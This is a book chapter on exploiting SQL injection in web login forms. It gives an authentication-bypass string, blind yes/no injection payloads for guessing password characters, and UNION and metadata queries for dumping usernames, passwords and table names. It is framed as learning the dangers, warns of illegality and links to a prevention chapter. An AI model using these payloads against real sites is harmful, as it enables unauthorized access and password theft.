Hack 47. Exploit an SQL Injection Vulnerability

To guard against an SQL injection attack you need to know the dangers.

If you have a name such as O'Reilly, you are probably quite used to seeing web pages such as the one shown in Figure 6-11, causing error messages such as the one shown in Figure 6-12.

Figure 6-11. Entering a name with an apostrophe

Figure 6-12. Error message due to unbalanced quotes

The cause of the error is a script that accepts a string from the user and places it directly into an SQL statement. You can also set up the system to hide the error more discreetly, so a system may be vulnerable to SQL injection even though it does not report an error like this.

In this case, the program to build the SQL query uses the variable entered on the web page form and directly embeds it in the query. The CGI variable is called n:

$qry = "SELECT * FROM table1 WHERE name='" . param("name") . "'"

When used as expected, qry will be a perfectly normal SQL statement, such as:

SELECT * FROM table1 WHERE name='Normal'

But if you enter the string O'Reilly the SQL statement in qry will become:

SELECT * FROM table1 WHERE name='O'Reilly'

The single quotes are now unbalanced, and when the query is sent to the database it generates a syntax error.

6.7.1. Fix the Bug

If you really want to enter the string O'Reilly you must escape it properly. It might be O''Reilly or O'Reilly, depending on the SQL engine and the programming language being used.

6.7.2. Exploit the Bug

You can now inject all kinds of SQL into the system. On older systems, you could even execute a completely new query, but that loophole has been closed for some time now in most of the popular scripting languages.

If the page you were on was a password check, you can now pass the test and get in without knowing any usernames or passwords. Of course, you can't see the source code, so you are just guessing, but a typical script will include something like this:

 $sql = "SELECT name FROM users WHERE name='"
 . param("name")
 . "' AND passwd='"
 . param("passwd")
 . "'";
 $dbh->prepare($sql);

The trick is to turn that SQL statement into something that will always return some rows. By choosing the right values for name and password, you could make the statement:

SELECT name FROM users WHERE name='' OR ''='' AND passwd= '' OR ''=''

To do that you have to choose the magic string ' OR ''=' as both your name and your password, as shown in Figure 6-13.

Figure 6-13. Gaining access with SQL injection

The odd-looking WHERE condition will always return true in MySQL, SQL Server, PostgreSQL, and Access:

mysql> SELECT name FROM users 
 -> WHERE name='' OR ''='' AND passwd= '' OR ''='';
+-------+
| name |
+-------+
| jake |
| scott |
+-------+

The condition w OR x AND y OR z is interpreted as (w OR x) AND (y OR z).

In Oracle, the condition ''='' evaluates to false but you can force the condition to be 'x'='x' if your target system uses Oracle.

With luck this will be enough to pass the test and get you into the system, as shown in Figure 6-14.

Figure 6-14. Access granted

Of course, you will not see the results of your query, but it will let you in as a registered user and it will probably tell you the username. In this case, this injection attack will log you in as jake.

6.7.3. Asking Yes/No Questions

If you can find a page that accepts the injection, you can access pretty well anything to which the SQL user account has access.

A good authentication system is like a taciturn doorman. You can ask questions such as "Is the username scott and the password tiger correct?" The doorman will just reply "yes" and let you in or "no" and invite you to try again. The doorman is infinitely patient, so you can make a million guesses at the password and he won't tire of answering you. A good password takes far more than a million guesses, so the site is relatively safe. (Highly secure systems such as banking sites will limit the number of password guesses you can have on a particular account name.)

With the SQL injection attack shown here, you have a doorman who is just as taciturn; he still answers only "yes" or "no." But now he will answer any SQL query. If you know the name of the password table you can ask questions such as "Is there a user starting with s?" or "Does Scott's password have a t in it?" If you've ever played Hangman or Twenty Questions, you know that yes/no questions can get you pretty much any information in a reasonable amount of time.

To find out whether the password for jake contains the letter w you do the following. Enter xxx as the username and ' OR EXISTS(SELECT * FROM users WHERE name='jake' AND password LIKE '%w%') AND ''=' as the password. If the system lets you in you know that Jake has a w in his password; you can then log out and try another letter. If the system doesn't let you in you know that the password does not contain that letter.

If you enter the username and password suggested, the following query will be executed on the server:

SELECT name FROM users WHERE name='xxx' AND passwd=''
 OR EXISTS(SELECT *
 FROM users
 WHERE name='jake' AND password LIKE '%w%')
 AND ''=''

The query returns a result only if the EXISTS clause yields TRue.

6.7.3.1. Some informative questions and their injection phrase

Here are some useful questions:

• Is there a user starting with "admin"?
• ' OR EXISTS(SELECT * FROM users WHERE name LIKE 'admin%') AND ''='
• Does any user have the word password as a password?
• ' OR EXISTS(SELECT * FROM users WHERE password='password') AND ''='
• Are there more than 10 users on the system?
• ' OR (SELECT COUNT(*) FROM users)>10 AND ''='
• Is there a user with a password the same as his username?
• ' OR EXISTS(SELECT * FROM users WHERE name=password) AND ''='
• Does the second letter of Jake's password come after k in the alphabet?
• ' OR (SELECT SUBSTRING(password,2,1) FROM users WHERE name='jake')>'k' AND ''='

6.7.4. Asking for Strings

The login page or some other page may display values from the SQL query. If that is the case, you can start asking some better questions. Instead of guessing at characters in the password you can make the system tell you. You can turn that SQL statement into a UNION, for example (see Figure 6-15 and Figure 6-16):

SELECT name FROM users WHERE name='xxx' AND passwd=''
 UNION
SELECT CONCAT(name,'=',password) FROM users WHERE ''='' 

Figure 6-15. Injecting a UNION to gather passwords

Figure 6-16. Getting strings from the database

These queries work only if you know the name of the password table (users in this case). However, you can use similar techniques to find that out.

6.7.5. Getting the Metadata

You can investigate the list of tables by querying the metadata. In version 5 of MySQL, the details of the tables are in INFORMATION_SCHEMA.TABLES. In PostgreSQL, you will find similar information in pg_tables. SQL Server has SysObjects, Access has MSysObjects, and in Oracle you can look at CAT.

When attacking the system you do not need to use the login page provided. You can copy the login page to your local machine and edit the HTML. You will need to change the action attribute of the form element so that the URL is absolute rather than relative (if required), and you can make all the images and JavaScript references work by including a base element with an appropriate href attribute. With your local copy you can change the password field from type='password' to a textarea element. With these changes completed your attack might look like the screen shown in Figure 6-17.

Figure 6-17. Obtaining metadata

Here's the corresponding SQL:

SELECT name FROM users WHERE name='xxx' AND passwd=' '
 UNION 
SELECT CONVERT(table_name USING latin1)
 FROM INFORMATION_SCHEMA.TABLES WHERE table_name LIKE 'u%'

 

6.7.6. Summary

It can be hard work getting data out in this way, but it's nowhere near as hard as a brute force password attack.

Using these techniques is illegal in many countries. In the UK it is illegal even if you do not have malicious intent.

It is also very easy to get caught. It is trivially easy for the web site administrator to find an attacker's IP address. Finding the attacker's real name and where he lives from an IP address is not difficult for the authorities.

You can try your skills, without fear of prosecution, at http://sqlzoo.net/hack.

 

6.7.7. See Also

• "Prevent an SQL Injection Attack" [Hack #48]